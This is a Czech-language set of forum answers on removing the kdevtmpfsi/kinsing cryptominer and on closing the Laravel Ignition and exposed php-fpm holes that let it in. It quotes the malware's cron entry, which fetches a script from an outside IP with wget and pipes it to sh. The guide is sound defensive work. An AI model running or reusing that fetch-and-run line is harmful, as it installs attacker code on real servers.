Zde uvedené řešení se nám osvědčilo. Soubory, které těžař používá, v podstatě vytváříte bez jakýchkoli práv, takže je těžař nemůže vytvářet a používat. https://github.com/docker-library/redis/issues/217
touch /tmp/kdevtmpfsi && touch /var/tmp/kinsing
echo "everything is good here" > /tmp/kdevtmpfsi
echo "everything is good here" > /var/tmp/kinsing
touch /tmp/zzz
echo "everything is good here" > /tmp/zzz
chmod go-rwx /var/tmp
chmod 1777 /tmp
Měl jsem stejný problém s Laravelem v Centos 8. Toto jsou kroky, kterými jsem odstranil malware a opravoval systém.
Odstranění malwaru ze systémových kroků:Krok 1:
Odstraňte malware:
Zabijte dva procesy (kdevtmpfsi
a kinsing
-Mohou být pod stejným názvem, ale s náhodnými znaky na konci-) pomocí htop
nebo jakýkoli jiný správce procesů.
htop F3 pro vyhledávání služeb kdevtmpfsi And kinsing
K vyhledání a odstranění souborů použijte následující postup:
# find / -iname kdevtmpfsi* -exec rm -fv {} \;
# find / -iname kinsing* -exec rm -fv {} \;
Výstup by měl vypadat takto:
removed '/tmp/kdevtmpfsi962782589'
removed '/tmp/kdevtmpfsi'
removed '/tmp/kinsing'
removed '/tmp/kinsing_oA1GECLm'
Krok 2:
Vyhledat úlohu cron:
zkontrolujte, zda existuje úloha cron, která by znovu inicializovala malware.
Našel jsem svůj v:/var/spool/cron/apache
>
UBUNTU /var/spool/cron/crontabs/www-data
To zahrnovalo následující:
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1
Krok 3:
Vytvářejte nové soubory a nastavte je pouze pro čtení:
# touch /tmp/kdevtmpfsi && touch /tmp/kinsing
# echo "kdevtmpfsi is fine now" > /tmp/kdevtmpfsi
# echo "kinsing is fine now" > /tmp/kinsing
# chmod 0444 /tmp/kdevtmpfsi
# chmod 0444 /tmp/kinsing
Oprava projektu Laravel:Krok 1:
Vypnout APP_DEBUG:
ujistěte se, že APP_DEBUG
atribut je false
v .env
protože tak zranitelnost získá přístup.
Krok 2:
Aktualizovat zapalování:
Aktualizujte zapalování na verzi vyšší než 2.5.1
abyste se ujistili, že je chyba zabezpečení opravena.
spusťte ve složce projektu následující:
$ composer update facade/ignition
S tímto těžařem jsem se pár dní potýkal a v mém případě to byl php-fpm:9000
port vystaven.
Myslím, že je možné takto vložit nějaký kód na dálku.
Pokud tedy použijete docker
s php-fpm
, NESPUŠTĚJTE váš kontejner takto:
docker run -v /www:/var/www -p 9000:9000 php:7.4
Odeberte mapování portu: .-p 9000:9000
Nezapomeňte své kontejnery znovu postavit a restartovat.
Více podrobností zde:https://github.com/laradock/laradock/issues/2451#issuecomment-577722571